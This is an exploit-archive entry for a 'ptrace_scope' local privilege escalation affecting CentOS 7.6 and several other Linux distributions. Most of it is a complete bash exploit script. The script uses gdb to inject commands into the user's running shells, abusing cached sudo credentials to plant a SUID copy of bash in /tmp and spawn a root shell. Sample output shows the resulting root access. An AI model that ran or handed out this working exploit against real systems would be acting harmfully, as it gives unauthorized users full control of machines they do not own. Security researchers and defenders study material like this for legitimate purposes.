CentOS 7.6 ptrace_scope Privilege Escalation

2019.06.21
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

#!/usr/bin/env bash ####################################################### # # # 'ptrace_scope' misconfiguration # # Local Privilege Escalation # # # ####################################################### # Affected operating systems (TESTED): # Parrot Home/Workstation 4.6 (Latest Version) # Parrot Security 4.6 (Latest Version) # CentOS / RedHat 7.6 (Latest Version) # Kali Linux 2018.4 (Latest Version) # Authors: Marcelo Vazquez (s4vitar) # Victor Lasa (vowkin) #┌─[s4vitar@parrot]─[~/Desktop/Exploit/Privesc] #└──╼ $./exploit.sh # #[*] Checking if 'ptrace_scope' is set to 0... [√] #[*] Checking if 'GDB' is installed... [√] #[*] System seems vulnerable! [√] # #[*] Starting attack... #[*] PID -> sh #[*] Path 824: /home/s4vitar #[*] PID -> bash #[*] Path 832: /home/s4vitar/Desktop/Exploit/Privesc #[*] PID -> sh #[*] Path #[*] PID -> sh #[*] Path #[*] PID -> sh #[*] Path #[*] PID -> sh #[*] Path #[*] PID -> bash #[*] Path 1816: /home/s4vitar/Desktop/Exploit/Privesc #[*] PID -> bash #[*] Path 1842: /home/s4vitar #[*] PID -> bash #[*] Path 1852: /home/s4vitar/Desktop/Exploit/Privesc #[*] PID -> bash #[*] Path 1857: /home/s4vitar/Desktop/Exploit/Privesc # #[*] Cleaning up... [√] #[*] Spawning root shell... [√] # #bash-4.4# whoami #root #bash-4.4# id #uid=1000(s4vitar) gid=1000(s4vitar) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(debian-tor),124(bluetooth),136(scanner),1000(s4vitar) #bash-4.4# function startAttack(){ tput civis && pgrep "^(echo $(cat /etc/shells | tr '/' ' ' | awk 'NF{print $NF}' | tr '\n' '|'))$" -u "$(id -u)" | sed '$ d' | while read shell_pid; do if [ $(cat /proc/$shell_pid/comm 2>/dev/null) ] || [ $(pwdx $shell_pid 2>/dev/null) ]; then echo "[*] PID -> "$(cat "/proc/$shell_pid/comm" 2>/dev/null) echo "[*] Path $(pwdx $shell_pid 2>/dev/null)" fi; echo 'call system("echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1")' | gdb -q -n -p "$shell_pid" >/dev/null 2>&1 done if [ -f /tmp/bash ]; then /tmp/bash -p -c 'echo -ne "\n[*] Cleaning up..." rm /tmp/bash echo -e " [√]" echo -ne "[*] Spawning root shell..." echo -e " [√]\n" tput cnorm && bash -p' else echo -e "\n[*] Could not copy SUID to /tmp/bash [✗]" fi } echo -ne "[*] Checking if 'ptrace_scope' is set to 0..." if grep -q "0" < /proc/sys/kernel/yama/ptrace_scope; then echo " [√]" echo -ne "[*] Checking if 'GDB' is installed..." if command -v gdb >/dev/null 2>&1; then echo -e " [√]" echo -e "[*] System seems vulnerable! [√]\n" echo -e "[*] Starting attack..." startAttack else echo " [✗]" echo "[*] System is NOT vulnerable :( [✗]" fi else echo " [✗]" echo "[*] System is NOT vulnerable :( [✗]" fi; tput cnorm


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